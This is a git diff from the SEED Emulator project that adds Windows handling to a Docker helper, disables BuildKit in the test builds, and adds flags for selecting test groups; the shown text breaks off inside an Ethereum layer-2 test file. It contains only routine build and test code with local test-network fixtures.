b/seedemu/services/EthereumService/EthTemplates/files_utility/utility_server_setup.sh @@ -1,8 +1,8 @@ -#!/bin/bash - -# Change the work folder to where the program is -cd "$(dirname "$0")" - -python3 ./fund_account.py -python3 ./deploy_contract.py - +#!/bin/bash + +# Change the work folder to where the program is +cd "$(dirname "$0")" + +python3 ./fund_account.py +python3 ./deploy_contract.py + diff --git a/seedemu/utilities/BuildtimeDocker.py b/seedemu/utilities/BuildtimeDocker.py index 57136937b..cdb3ae978 100644 --- a/seedemu/utilities/BuildtimeDocker.py +++ b/seedemu/utilities/BuildtimeDocker.py @@ -1,115 +1,127 @@ -import subprocess -from contextlib import contextmanager -import os -import tempfile -from typing import Dict - -@contextmanager -def cd(path): - """@private Not supposed to be imported. Any other module should not rely on this function.""" - old_cwd = os.getcwd() - os.chdir(path) - try: - yield - finally: - os.chdir(old_cwd) - - -def sh(command, input=None): - """@private Not supposed to be imported. Any other module should not rely on this function.""" - try: - if isinstance(command, list): - command = " ".join(command) - p = subprocess.run( - command, - shell=True, - input=input, - ) - return p.returncode - except subprocess.CalledProcessError as e: - return e.returncode - -class BuildtimeDockerFile: - def __init__(self, content: str): - self.__content = content - - def getContent(self) -> str: - return self.__content - - -class BuildtimeDockerImage: - def __init__(self, imageName: str): - self.__imageName = imageName - - def build( - self, - dockerfile: BuildtimeDockerFile, - context: str = None, - args: Dict[str, str] = None, - ): - if not context: - context = tempfile.mkdtemp(prefix="seedemu-docker-") - with cd(context): - build_command = f"docker build -t {self.__imageName}" - if args: - for arg, value in args.items(): - build_command += f" --build-arg {arg}={value}" - code = sh(build_command + " -", input=dockerfile.getContent().encode()) - if code != 0: - raise Exception("Failed to build docker image:\n" + build_command) - return self - - def container(self): - return BuildtimeDockerContainer(self.__imageName) - - -class BuildtimeDockerContainer: - def __init__(self, imageName: str): - self.__imageName = imageName - self.__volumes = [] - self.__env = [] - self.__entrypoint = None - self.__workdir = None - self.__user = None - - def mountVolume(self, source: str, target: str): - self.__volumes.append((source, target)) - return self - - def env(self, envName: str, envValue: str): - self.__env.append((envName, envValue)) - return self - - def workdir(self, workdir: str): - self.__workdir = workdir - return self - - def user(self, user: str): - self.__user = user - return self - - def entrypoint(self, entrypoint: str): - self.__entrypoint = entrypoint - return self - - def run(self, command: str = None): - run_command = "docker run --rm" - if self.__user: - run_command += f" --user {self.__user}" - if self.__workdir: - run_command += f" -w {self.__workdir}" - for key, value in self.__env: - run_command += f" -e {key}={value}" - if self.__entrypoint: - run_command += f" --entrypoint {self.__entrypoint}" - for source, target in self.__volumes: - run_command += f" -v {source}:{target}" - run_command += f" {self.__imageName}" - if command: - run_command += f" {command}" - code = sh(run_command) - if code != 0: - raise Exception("Failed to run docker container:\n" + run_command) - - for source, _ in self.__volumes: - sh(f"docker run --rm {source}:/tmp alpine:latest chown -R {os.getuid()}:{os.getgid()} /tmp") +import subprocess +from contextlib import contextmanager +import tempfile +from typing import Dict +import os +import platform +import subprocess +import logging + + + + +@contextmanager +def cd(path): + """@private Not supposed to be imported. Any other module should not rely on this function.""" + old_cwd = os.getcwd() + os.chdir(path) + try: + yield + finally: + os.chdir(old_cwd) + + +def sh(command, input=None): + """@private Not supposed to be imported. Any other module should not rely on this function.""" + try: + if isinstance(command, list): + command = " ".join(command) + p = subprocess.run( + command, + shell=True, + input=input, + ) + return p.returncode + except subprocess.CalledProcessError as e: + return e.returncode + +class BuildtimeDockerFile: + def __init__(self, content: str): + self.__content = content + + def getContent(self) -> str: + return self.__content + + +class BuildtimeDockerImage: + def __init__(self, imageName: str): + self.__imageName = imageName + + def build( + self, + dockerfile: BuildtimeDockerFile, + context: str = None, + args: Dict[str, str] = None, + ): + if not context: + context = tempfile.mkdtemp(prefix="seedemu-docker-") + with cd(context): + build_command = f"docker build -t {self.__imageName}" + if args: + for arg, value in args.items(): + build_command += f" --build-arg {arg}={value}" + code = sh(build_command + " -", input=dockerfile.getContent().encode()) + if code != 0: + raise Exception("Failed to build docker image:\n" + build_command) + return self + + def container(self): + return BuildtimeDockerContainer(self.__imageName) + + +class BuildtimeDockerContainer: + def __init__(self, imageName: str): + self.__imageName = imageName + self.__volumes = [] + self.__env = [] + self.__entrypoint = None + self.__workdir = None + self.__user = None + + def mountVolume(self, source: str, target: str): + self.__volumes.append((source, target)) + return self + + def env(self, envName: str, envValue: str): + self.__env.append((envName, envValue)) + return self + + def workdir(self, workdir: str): + self.__workdir = workdir + return self + + def user(self, user: str): + self.__user = user + return self + + def entrypoint(self, entrypoint: str): + self.__entrypoint = entrypoint + return self + + def run(self, command: str = None): + run_command = "docker run --rm" + if self.__user: + run_command += f" --user {self.__user}" + if self.__workdir: + run_command += f" -w {self.__workdir}" + for key, value in self.__env: + run_command += f" -e {key}={value}" + if self.__entrypoint: + run_command += f" --entrypoint {self.__entrypoint}" + for source, target in self.__volumes: + run_command += f" -v {source}:{target}" + run_command += f" {self.__imageName}" + if command: + run_command += f" {command}" + code = sh(run_command) + if code != 0: + raise Exception("Failed to run docker container:\n" + run_command) + + for source, _ in self.__volumes: + # On Linux/macOS we can chown to the current UID/GID so the host user owns the output. + # On Windows, os.getuid/getgid do not exist and chown is meaningless for NTFS permissions, + # so we just skip the chown step. + if hasattr(os, "getuid") and hasattr(os, "getgid"): + sh(f"docker run --rm {source}:/tmp alpine:latest chown -R {os.getuid()}:{os.getgid()} /tmp") + else: + logging.warning("Skipping docker chown step on Windows (os.getuid/getgid not available).") diff --git a/tests/SeedEmuTestCase.py b/tests/SeedEmuTestCase.py index 5b201ab77..70f90f74d 100644 --- a/tests/SeedEmuTestCase.py +++ b/tests/SeedEmuTestCase.py @@ -122,10 +122,16 @@ def build_emulator(cls): log_file = os.path.join(cls.init_dir, cls.test_log, "build_log") f = open(log_file, 'w') + + # Temp Fix for Docker BuildKit + # Disable BuildKit to avoid issues with Docker Compose v2 + env = os.environ.copy() + env['DOCKER_BUILDKIT'] = '0' + if(cls.docker_compose_version == 1): - result = subprocess.run(["docker-compose", "build"], stderr=f, stdout=f) + result = subprocess.run(["docker-compose", "build"], stderr=f, stdout=f, env=env) else: - result = subprocess.run(["docker", "compose", "build"], stderr=f, stdout=f) + result = subprocess.run(["docker", "compose", "build"], stderr=f, stdout=f, env=env) f.close() os.system("echo 'y' | docker system prune > /dev/null") @@ -140,9 +146,9 @@ def up_emulator(cls): """ os.chdir(os.path.join(cls.emulator_code_dir, cls.output_dir)) if(cls.docker_compose_version == 1): - os.system("docker-compose up > ../../test_log/containers_log &") + os.system("DOCKER_BUILDKIT=0 docker-compose up > ../../test_log/containers_log &") else: - os.system("docker compose up > ../../test_log/containers_log &") + os.system("DOCKER_BUILDKIT=0 docker compose up > ../../test_log/containers_log &") os.chdir(cls.init_dir) @classmethod diff --git a/tests/compile-and-build-test/compile-and-build-test.py b/tests/compile-and-build-test/compile-and-build-test.py index c5a30a010..a148af76a 100755 --- a/tests/compile-and-build-test/compile-and-build-test.py +++ b/tests/compile-and-build-test/compile-and-build-test.py @@ -5,9 +5,16 @@ from seedemu import * import shutil import os, subprocess +import argparse import getopt import sys +parser = argparse.ArgumentParser() +parser.add_argument("--basic", action="store_true", help="Run basic tests") +parser.add_argument("--internet", action="store_true", help="Run internet tests") +parser.add_argument("--blockchain", action="store_true", help="Run blockchain tests") +parser.add_argument("--scion", action="store_true", help="Run SCION tests") +args = parser.parse_args() class CompileTest(ut.TestCase): @classmethod @@ -15,16 +22,13 @@ def setUpClass(cls) -> None: # Set the platform information script_name = os.path.basename(__file__) - if len(sys.argv) == 1: - cls.platform = "amd" - elif len(sys.argv) == 2 and sys.argv[1].lower() in ['amd', 'arm']: + if len(sys.argv) > 1 and sys.argv[1].lower() in ['amd', 'arm']: cls.platform = sys.argv[1].lower() else: - print(f"Usage: {script_name} amd|arm") - sys.exit(1) + cls.platform = "amd" cls.platform - cls.test_list = { + basic_test_list = { "basic/A00_simple_as": (["simple_as.py"] , ["output"]), "basic/A01_transit_as" : (["transit_as.py"], ["output"]), "basic/A02_transit_as_mpls" : (["transit_as_mpls.py"], ["output"]), @@ -38,6 +42,8 @@ def setUpClass(cls) -> None: "basic/A10_add_containers" : (["add_containers.py"], ["output"]), #"basic/A20_nano_internet" : (["nano_internet.py"], ["output", "base_component.bin"]), "basic/A21_shadow_internet" : (["shadow_internet.py"], ["output"]), + } + internet_test_list = { "internet/B00_mini_internet" : (["mini_internet.py"], ["output"]), "internet/B01_dns_component" : (["dns_component.py"], ["dns_component.bin"]), "internet/B02_mini_internet_with_dns" : (["mini_internet_with_dns.py"], ["output", "base_internet.bin", "dns_component.bin"]), @@ -57,20 +63,34 @@ def setUpClass(cls) -> None: "internet/B28_traffic_generator/2-scapy-traffic-generator": (["scapy-traffic-generator.py"], ["output", "base_internet.bin"]), "internet/B28_traffic_generator/3-multi-traffic-generator": (["multi-traffic-generator.py"], ["output", "base_internet.bin"]), "internet/B50_bring_your_own_internet": (["bring_your_own_internet.py", "bring_your_own_internet_client.py"], ["output", "output_0", "output_1", "output_2", "output_3", 'base_component.bin', 'base_hybrid_component.bin', 'hybrid_base_with_dns.bin', 'hybrid_dns_component.bin']), - "internet/B51_bgp_prefix_hijacking": (["bgp_prefix_hijacking.py"], ["output", 'base_internet.bin']), - #"blockchain/D00_ethereum_poa" : (["ethereum_poa.py"], ["output", "component_base.bin", "component_poa.bin"]), - #"blockchain/D01_ethereum_pos" : (["ethereum_pos.py"], ["output"]), - #"blockchain/D05_ethereum_small" : (["ethereum_small.py"], ["output"]), - #"blockchain/D20_faucet" : (["faucet.py"], ["output", "component_base.bin", "component_poa.bin", "blockchain_poa.bin"]), - #"blockchain/D21_deploy_contract" : (["deploy_contract.py"], ["output", "component_base.bin", "component_poa.bin", "blockchain_poa.bin"]), - #"blockchain/D22_oracle" : (["simple_oracle.py"], ["output", "ethereum-small.bin"]), - #"blockchain/D31_chainlink" : (["chainlink.py"], ["output", "component_base.bin", "component_poa.bin", "blockchain_poa.bin"]), - #"blockchain/D50_blockchain" : (["blockchain.py"], ["output", "blockchain_poa.bin"]), - "scion/S01_scion": (["scion.py"], ["output"]), - "scion/S02_scion_bgp_mixed": (["scion_bgp_mixed.py"], ["output"]), - "scion/S03_bandwidth_tester": (["bandwidth_tester.py"], ["output"]), - "scion/S04_docker_api": (["docker_api.py"], ["output"]), + # "internet/B51_bgp_prefix_hijacking": (["bgp_prefix_hijacking.py"], ["output", 'base_internet.bin']), + } + blockchain_test_list = { + "blockchain/D00_ethereum_poa" : (["ethereum_poa.py"], ["output", "component_base.bin", "component_poa.bin"]), + "blockchain/D01_ethereum_pos" : (["ethereum_pos.py"], ["output"]), + "blockchain/D05_ethereum_small" : (["ethereum_small.py"], ["output"]), + "blockchain/D20_faucet" : (["faucet.py"], ["output", "component_base.bin", "component_poa.bin", "blockchain_poa.bin"]), + "blockchain/D21_deploy_contract" : (["deploy_contract.py"], ["output", "component_base.bin", "component_poa.bin", "blockchain_poa.bin"]), + "blockchain/D22_oracle" : (["simple_oracle.py"], ["output", "ethereum-small.bin"]), + "blockchain/D31_chainlink" : (["chainlink.py"], ["output", "component_base.bin", "component_poa.bin", "blockchain_poa.bin"]), + "blockchain/D50_blockchain" : (["blockchain.py"], ["output", "blockchain_poa.bin"]), } + scion_test_list = { + # "scion/S01_scion": (["scion.py"], ["output"]), + # "scion/S02_scion_bgp_mixed": (["scion_bgp_mixed.py"], ["output"]), + # "scion/S03_bandwidth_tester": (["bandwidth_tester.py"], ["output"]), + # "scion/S04_docker_api": (["docker_api.py"], ["output"]), + } + cls.test_list = { + } + if args.basic: + cls.test_list.update(basic_test_list) + if args.internet: + cls.test_list.update(internet_test_list) + if args.blockchain: + cls.test_list.update(blockchain_test_list) + if args.scion: + cls.test_list.update(scion_test_list) # This is my path cls.init_cwd = os.getcwd() @@ -112,6 +132,12 @@ def build_test(self): docker_compose_version = 2 else: docker_compose_version = 1 + + # Temp Fix for Docker BuildKit + # Disable BuildKit to avoid issues with Docker Compose v2 + env = os.environ.copy() + env['DOCKER_BUILDKIT'] = '0' + for dir, (scripts, outputs) in self.test_list.items(): path = os.path.join(self.path, dir) os.chdir(path) @@ -125,9 +151,9 @@ def build_test(self): with open(log_file, 'a') as f: f.write('########### {} Test ##############\n'.format(dir)) if(docker_compose_version == 1): - result = subprocess.run(["docker-compose", "build"], stderr=f, stdout=f) + result = subprocess.run(["docker-compose", "build"], stderr=f, stdout=f, env=env) else: - result = subprocess.run(["docker", "compose", "build"], stderr=f, stdout=f) + result = subprocess.run(["docker", "compose", "build"], stderr=f, stdout=f, env=env) os.system("echo 'y' | docker system prune > /dev/null") assert result.returncode == 0, "docker build failed" diff --git a/tests/compile-and-build-test/compile-test.py b/tests/compile-and-build-test/compile-test.py index 55b8aebfa..e581b886f 100755 --- a/tests/compile-and-build-test/compile-test.py +++ b/tests/compile-and-build-test/compile-test.py @@ -5,19 +5,32 @@ import sys import os import shutil +import argparse from pathlib import Path +parser = argparse.ArgumentParser() +parser.add_argument("--basic", action="store_true", help="Run basic tests") +parser.add_argument("--internet", action="store_true", help="Run internet tests") +parser.add_argument("--blockchain", action="store_true", help="Run blockchain tests") +parser.add_argument("--scion", action="store_true", help="Run SCION tests") +args = parser.parse_args() + """ Compiles examples in examples/ and outputs the number of examples that fail to compile. """ -examples_dirs = [ - Path("examples/basic"), - Path("examples/blockchain"), - Path("examples/internet"), - Path("examples/scion"), -] +examples_dirs = [] + +if args.basic: + examples_dirs.append(Path("examples/basic")) +if args.internet: + examples_dirs.append(Path("examples/internet")) +if args.blockchain: + examples_dirs.append(Path("examples/blockchain")) +if args.scion: + examples_dirs.append(Path("examples/scion")) + def glob_examples(dir: Path): @@ -35,6 +48,7 @@ def glob_examples(dir: Path): failed = [] + for example in examples: print(f"=== Run {example} ===") output = example.parent / "output" @@ -46,6 +60,7 @@ def glob_examples(dir: Path): env={ "PYTHONPATH": str(Path(".").absolute()), "PATH": ":".join([os.environ.get("PATH"), str(Path("./bin").absolute())]), + "DOCKER_BUILDKIT": "0", }, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, diff --git a/tests/ethereum/POW/emulator-code/resources/keyfile_to_import b/tests/ethereum/POW/emulator-code/resources/keyfile_to_import index 5104349a3..659fe44e0 100755 --- a/tests/ethereum/POW/emulator-code/resources/keyfile_to_import +++ b/tests/ethereum/POW/emulator-code/resources/keyfile_to_import @@ -1 +1 @@ -{"address": "9f189536def35811e1a759860672fe49a4f89e94", "crypto": {"cipher": "aes-128-ctr", "cipherparams": {"iv": "25d878dfbfb307b4a25a61b1141c0b70"}, "ciphertext": "d6e55dfecc95d007738b9c6c861dbb2ab9ae1e0e6bc2207a85a898235f755563", "kdf": "scrypt", "kdfparams": {"dklen": 32, "n": 262144, "r": 1, "p": 8, "salt": "500998de07ce25a9cae9fff17973dcb3"}, "mac": "ddc1fd35d3fd6e7a9f4296953a36aac8f09812c864b4bb6ed9e688a7d3e3ac65"}, "id": "d672b132-e346-40eb-bf04-ecc8fbe535e1", "version": 3} +{"address": "9f189536def35811e1a759860672fe49a4f89e94", "crypto": {"cipher": "aes-128-ctr", "cipherparams": {"iv": "25d878dfbfb307b4a25a61b1141c0b70"}, "ciphertext": "d6e55dfecc95d007738b9c6c861dbb2ab9ae1e0e6bc2207a85a898235f755563", "kdf": "scrypt", "kdfparams": {"dklen": 32, "n": 262144, "r": 1, "p": 8, "salt": "500998de07ce25a9cae9fff17973dcb3"}, "mac": "ddc1fd35d3fd6e7a9f4296953a36aac8f09812c864b4bb6ed9e688a7d3e3ac65"}, "id": "d672b132-e346-40eb-bf04-ecc8fbe535e1", "version": 3} diff --git a/tests/ethereum/POW/emulator-code/test-emulator.py b/tests/ethereum/POW/emulator-code/test-emulator.py index 632fa0daf..3c4ee942b 100755 --- a/tests/ethereum/POW/emulator-code/test-emulator.py +++ b/tests/ethereum/POW/emulator-code/test-emulator.py @@ -1,80 +1,80 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu import * -import os - -emu = Makers.makeEmulatorBaseWith10StubASAndHosts(1) - -# Create the Ethereum layer -eth = EthereumService() - -# Create the 2 Blockchain layers, which is a sub-layer of Ethereum layer -# Need to specify chainName and consensus when create Blockchain layer. - -# blockchain1 is a POW based blockchain -blockchain1 = eth.createBlockchain(chainName="POW", consensus=ConsensusMechanism.POW) - -# Create blockchain1 nodes (POW Etheruem) (nodes in this layer are virtual) -e1 = blockchain1.createNode("pow-eth1") -e2 = blockchain1.createNode("pow-eth2") -e3 = blockchain1.createNode("pow-eth3") -e4 = blockchain1.createNode("pow-eth4") -e5 = blockchain1.createNode("pow-eth5") - -# Set bootnodes on e1 and e5. The other nodes can use these bootnodes to find peers. -# Start mining on e1,e2 and e5,e6 -# To start mine(seal) in POA consensus, the account should be unlocked first. -e1.setBootNode(True).setBootNodeHttpPort(8090).startMiner() -e2.importAccount(keyfilePath='./resources/keyfile_to_import', password="admin", balance=10, unit=EthUnit.ETHER) -e2.startMiner() -# Set custom geth binary file instead of installing an original file. -e3.setCustomGeth("./resources/custom_geth") -e3.createAccount(balance=20, unit=EthUnit.ETHER, password="admin").unlockAccounts() - -e3.enableGethHttp().setGethHttpPort(8540) - -e4.setCustomGethCommandOption("--http --http.addr 0.0.0.0") - -e5.startMiner() - - -# Customizing the display names (for visualization purpose) -emu.getVirtualNode('pow-eth1').setDisplayName('Ethereum-POW-1') -emu.getVirtualNode('pow-eth2').setDisplayName('Ethereum-POW-2') -emu.getVirtualNode('pow-eth3').setDisplayName('Ethereum-POW-3').addPortForwarding(8545, 8540) -emu.getVirtualNode('pow-eth4').setDisplayName('Ethereum-POW-4') -emu.getVirtualNode('pow-eth5').setDisplayName('Ethereum-POW-5') - -# Binding virtual nodes to physical nodes -emu.addBinding(Binding('pow-eth1', filter = Filter(asn = 150, nodeName='host_0'))) -emu.addBinding(Binding('pow-eth2', filter = Filter(asn = 151, nodeName='host_0'))) -emu.addBinding(Binding('pow-eth3', filter = Filter(asn = 152, nodeName='host_0'))) -emu.addBinding(Binding('pow-eth4', filter = Filter(asn = 153, nodeName='host_0'))) -emu.addBinding(Binding('pow-eth5', filter = Filter(asn = 154, nodeName='host_0'))) - -faucet:FaucetServer = blockchain1.createFaucetServer(vnode='faucet', - port=80, - linked_eth_node="pow-eth1", - balance=1000) - -faucet.fund('0x40e38EF94ab2bC9506167D478821ffd55ff2d88d',2) -emu.addBinding(Binding('faucet', filter=Filter(asn=160, nodeName='host_0'))) - -# Add the layer -emu.addLayer(eth) - -emu.render() - -# Access an environment variable -platform = os.environ.get('platform') - -platform_mapping = { - "amd": Platform.AMD64, - "arm": Platform.ARM64 -} -docker = Docker(platform=platform_mapping[platform]) - -# If output directory exists and override is set to false, we call exit(1) -# updateOutputdirectory will not be called +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * +import os + +emu = Makers.makeEmulatorBaseWith10StubASAndHosts(1) + +# Create the Ethereum layer +eth = EthereumService() + +# Create the 2 Blockchain layers, which is a sub-layer of Ethereum layer +# Need to specify chainName and consensus when create Blockchain layer. + +# blockchain1 is a POW based blockchain +blockchain1 = eth.createBlockchain(chainName="POW", consensus=ConsensusMechanism.POW) + +# Create blockchain1 nodes (POW Etheruem) (nodes in this layer are virtual) +e1 = blockchain1.createNode("pow-eth1") +e2 = blockchain1.createNode("pow-eth2") +e3 = blockchain1.createNode("pow-eth3") +e4 = blockchain1.createNode("pow-eth4") +e5 = blockchain1.createNode("pow-eth5") + +# Set bootnodes on e1 and e5. The other nodes can use these bootnodes to find peers. +# Start mining on e1,e2 and e5,e6 +# To start mine(seal) in POA consensus, the account should be unlocked first. +e1.setBootNode(True).setBootNodeHttpPort(8090).startMiner() +e2.importAccount(keyfilePath='./resources/keyfile_to_import', password="admin", balance=10, unit=EthUnit.ETHER) +e2.startMiner() +# Set custom geth binary file instead of installing an original file. +e3.setCustomGeth("./resources/custom_geth") +e3.createAccount(balance=20, unit=EthUnit.ETHER, password="admin").unlockAccounts() + +e3.enableGethHttp().setGethHttpPort(8540) + +e4.setCustomGethCommandOption("--http --http.addr 0.0.0.0") + +e5.startMiner() + + +# Customizing the display names (for visualization purpose) +emu.getVirtualNode('pow-eth1').setDisplayName('Ethereum-POW-1') +emu.getVirtualNode('pow-eth2').setDisplayName('Ethereum-POW-2') +emu.getVirtualNode('pow-eth3').setDisplayName('Ethereum-POW-3').addPortForwarding(8545, 8540) +emu.getVirtualNode('pow-eth4').setDisplayName('Ethereum-POW-4') +emu.getVirtualNode('pow-eth5').setDisplayName('Ethereum-POW-5') + +# Binding virtual nodes to physical nodes +emu.addBinding(Binding('pow-eth1', filter = Filter(asn = 150, nodeName='host_0'))) +emu.addBinding(Binding('pow-eth2', filter = Filter(asn = 151, nodeName='host_0'))) +emu.addBinding(Binding('pow-eth3', filter = Filter(asn = 152, nodeName='host_0'))) +emu.addBinding(Binding('pow-eth4', filter = Filter(asn = 153, nodeName='host_0'))) +emu.addBinding(Binding('pow-eth5', filter = Filter(asn = 154, nodeName='host_0'))) + +faucet:FaucetServer = blockchain1.createFaucetServer(vnode='faucet', + port=80, + linked_eth_node="pow-eth1", + balance=1000) + +faucet.fund('0x40e38EF94ab2bC9506167D478821ffd55ff2d88d',2) +emu.addBinding(Binding('faucet', filter=Filter(asn=160, nodeName='host_0'))) + +# Add the layer +emu.addLayer(eth) + +emu.render() + +# Access an environment variable +platform = os.environ.get('platform') + +platform_mapping = { + "amd": Platform.AMD64, + "arm": Platform.ARM64 +} +docker = Docker(platform=platform_mapping[platform]) + +# If output directory exists and override is set to false, we call exit(1) +# updateOutputdirectory will not be called emu.compile(docker, './output') \ No newline at end of file diff --git a/tests/ethereum/__init__.py b/tests/ethereum/__init__.py index 48588e2cf..f1beb3283 100644 --- a/tests/ethereum/__init__.py +++ b/tests/ethereum/__init__.py @@ -1,3 +1,3 @@ -from .POA import EthereumPOATestCase -from .POW import EthereumPOWTestCase +from .POA import EthereumPOATestCase +from .POW import EthereumPOWTestCase from .POS import EthereumPOSTestCase \ No newline at end of file diff --git a/tests/ethereumLayer2/EthereumLayer2TestCase.py b/tests/ethereumLayer2/EthereumLayer2TestCase.py index be31d4eb4..762776082 100755 --- a/tests/ethereumLayer2/EthereumLayer2TestCase.py +++ b/tests/ethereumLayer2/EthereumLayer2TestCase.py @@ -1,241 +1,241 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import unittest as ut -import time - -from web3 import Web3 -from web3.middleware import signing -from web3.middleware import geth_poa_middleware -from web3.exceptions import TransactionNotFound - -from tests import SeedEmuTestCase - - -class EthereumLayer2TestCase(SeedEmuTestCase): - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - - cls.l1_chain_id = 1337 - cls.l2_chain_id = 42069 - cls.l1_url = "http://10.162.0.71:8545" - cls.seq_url = "http://10.150.0.71:8545" - cls.ns_urls = [f"http://10.{i}.0.71:8545" for i in range(151, 154)] - cls.ns_urls[1] = "http://10.152.0.71:9545" - cls.test_key_pair = ( - "0x2DDAaA366dc75119A256C41b9bd483D13A64389d", - "0x4ba1ada11a1d234c3a03c08395c82e65320b5ae4aecca4a70143f4c157230528", - ) - cls.test_acc = signing.private_key_to_account(cls.test_key_pair[1]) - - cls.wait_until_all_containers_up(20) - - @classmethod - def wait_until_connected(cls, url, timeout) -> bool: - start = time.time() - current = time.time() - provider = Web3(Web3.HTTPProvider(url)) - - while current - start < timeout: - if provider.isConnected(): - break - time.sleep(20) - current = time.time() - - return provider.isConnected() - - def test_l1_node_connection(self): - self.assertTrue(self.wait_until_connected(self.l1_url, 300)) - - def test_sc_deployment(self): - TIMEOUT = 600 - start = time.time() - current = time.time() - - l1Provider = Web3(Web3.HTTPProvider(self.l1_url)) - self.assertTrue(l1Provider.isConnected()) - - while current - start < TIMEOUT: - code = l1Provider.eth.get_code("0x6f3f591D1e0e4a3ad649219a76763702933C6390") - if code.hex() != "0x": - break - time.sleep(20) - current = time.time() - - self.assertNotEqual(code.hex(), "0x") - - def test_seq_node_connection(self): - self.assertTrue(self.wait_until_connected(self.seq_url, 600)) - - def test_seq_node_status(self): - provider = Web3(Web3.HTTPProvider(self.seq_url)) - self.assertTrue(provider.isConnected()) - - bn1 = provider.eth.get_block_number() - time.sleep(20) - bn2 = provider.eth.get_block_number() - self.assertGreater(bn2, bn1) - - def test_ns_node_synchronization(self): - GAP = 100 - seq_provider = Web3(Web3.HTTPProvider(self.seq_url)) - self.assertTrue(seq_provider.isConnected()) - - for ns_url in self.ns_urls: - provider = Web3(Web3.HTTPProvider(ns_url)) - self.assertTrue(provider.isConnected()) - - seq_bn = seq_provider.eth.get_block_number() - ns_bn = provider.eth.get_block_number() - self.assertLess(seq_bn - ns_bn, GAP) - - def test_chain_id(self): - provider = Web3(Web3.HTTPProvider(self.seq_url)) - self.assertTrue(provider.isConnected()) - - self.assertEqual(provider.eth.chain_id, self.l2_chain_id) - - def test_tx_execution(self): - provider = Web3(Web3.HTTPProvider(self.seq_url)) - self.assertTrue(provider.isConnected()) - - tx = self.test_acc.sign_transaction( - { - "chainId": self.l2_chain_id, - "to": self.test_key_pair[0], - "gas": 10**6, - "gasPrice": Web3.toWei(10, "gwei"), - "nonce": provider.eth.get_transaction_count(self.test_acc.address), - } - ) - txhash = provider.eth.send_raw_transaction(tx.rawTransaction) - time.sleep(30) - self.assertEqual(provider.eth.get_transaction_receipt(txhash)["status"], 1) - - def test_deposit(self): - TIMEOUT = 180 - DEPOSIT_AMOUNT = Web3.toWei(1000, "ether") - l1Provider = Web3(Web3.HTTPProvider(self.l1_url)) - self.assertTrue(l1Provider.isConnected()) - l2Provider = Web3(Web3.HTTPProvider(self.seq_url)) - self.assertTrue(l2Provider.isConnected()) - - l2BalanceBefore = l2Provider.eth.get_balance(self.test_acc.address) - - tx = self.test_acc.sign_transaction( - { - "chainId": self.l1_chain_id, - "to": "0x6f3f591D1e0e4a3ad649219a76763702933C6390", - "gas": 10**7, - "gasPrice": Web3.toWei(10, "gwei"), - "value": DEPOSIT_AMOUNT, - "nonce": l1Provider.eth.get_transaction_count(self.test_acc.address), - } - ) - txhash = l1Provider.eth.send_raw_transaction(tx.rawTransaction) - - start = time.time() - current = time.time() - while current - start < TIMEOUT: - if ( - l2Provider.eth.get_balance(self.test_acc.address) - l2BalanceBefore - == DEPOSIT_AMOUNT - ): - break - time.sleep(16) - current = time.time() - - self.assertEqual(l1Provider.eth.get_transaction_receipt(txhash)["status"], 1) - - l2BalanceAfter = l2Provider.eth.get_balance(self.test_acc.address) - self.assertEqual(l2BalanceAfter - l2BalanceBefore, DEPOSIT_AMOUNT) - - def test_batch_submission(self): - INBOX_ADDR = "0xff00000000000000000000000000000000042069".lower() - BATCHER_ADDR = "0x9C1EA6d1f5E3E8aE21fdaF808b2e13698737643C".lower() - TIMEOUT = 300 - TARGET_BATCH_COUNT = 3 - - batchCount = 0 - start = time.time() - current = time.time() - - l1Provider = Web3(Web3.HTTPProvider(self.l1_url)) - l1Provider.middleware_onion.inject(geth_poa_middleware, layer=0) - self.assertTrue(l1Provider.isConnected()) - - while current - start < TIMEOUT: - block = l1Provider.eth.get_block("latest", True) - if len(block["transactions"]) > 0: - for tx in block["transactions"]: - if ( - tx["from"].lower() == BATCHER_ADDR - and tx["to"].lower() == INBOX_ADDR - ): - batchCount += 1 - break - if batchCount == TARGET_BATCH_COUNT: - break - time.sleep(16) - current = time.time() - - self.assertEqual(batchCount, TARGET_BATCH_COUNT) - - def test_state_submission(self): - OUTPUT_ORACLE_ADDR = "0x5Ab6Bc8FF05928FFd4c4D741d796A317Ab91E2B6" - ABI = [ - { - "type": "function", - "name": "latestBlockNumber", - "inputs": [], - "outputs": [{"name": "", "type": "uint256", "internalType": "uint256"}], - "stateMutability": "view", - }, - ] - TIMEOUT = 3600 - - start = time.time() - current = time.time() - - l1Provider = Web3(Web3.HTTPProvider(self.l1_url)) - self.assertTrue(l1Provider.isConnected()) - contract = l1Provider.eth.contract(abi=ABI, address=OUTPUT_ORACLE_ADDR) - startBlock = contract.functions.latestBlockNumber().call() - - while current - start < TIMEOUT: - currBlock = contract.functions.latestBlockNumber().call() - if currBlock > startBlock: - break - time.sleep(16) - - self.assertGreater(currBlock, startBlock) - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - - test_suite.addTest(cls("test_l1_node_connection")) - test_suite.addTest(cls("test_sc_deployment")) - test_suite.addTest(cls("test_seq_node_connection")) - test_suite.addTest(cls("test_seq_node_status")) - test_suite.addTest(cls("test_ns_node_synchronization")) - test_suite.addTest(cls("test_chain_id")) - test_suite.addTest(cls("test_deposit")) - test_suite.addTest(cls("test_tx_execution")) - test_suite.addTest(cls("test_batch_submission")) - test_suite.addTest(cls("test_state_submission")) - - return test_suite - - -if __name__ == "__main__": - test_suite = EthereumLayer2TestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - EthereumLayer2TestCase.printLog("----------Test #%d--------=") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - EthereumLayer2TestCase.printLog( - "score: %d of %d (%d errors, %d failures)" - % (num - (errs + fails), num, errs, fails) - ) +#!/usr/bin/env python3 +# encoding: utf-8 + +import unittest as ut +import time + +from web3 import Web3 +from web3.middleware import signing +from web3.middleware import geth_poa_middleware +from web3.exceptions import TransactionNotFound + +from tests import SeedEmuTestCase + + +class EthereumLayer2TestCase(SeedEmuTestCase): + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + + cls.l1_chain_id = 1337 + cls.l2_chain_id = 42069 + cls.l1_url = "http://10.162.0.71:8545" + cls.seq_url = "http://10.150.0.71:8545" + cls.ns_urls = [f"http://10.{i}.0.71:8545" for i in range(151, 154)] + cls.ns_urls[1] = 